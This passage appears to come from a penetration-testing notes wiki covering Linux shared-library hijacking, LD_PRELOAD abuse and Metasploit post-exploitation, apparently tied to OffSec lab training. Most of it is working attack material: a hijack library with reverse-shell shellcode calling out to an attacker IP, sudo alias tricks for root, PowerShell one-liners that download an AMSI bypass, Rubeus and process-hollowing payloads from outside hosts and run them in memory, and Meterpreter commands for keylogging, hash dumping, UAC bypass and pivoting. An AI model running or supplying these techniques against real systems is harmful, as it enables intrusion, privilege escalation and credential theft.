&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
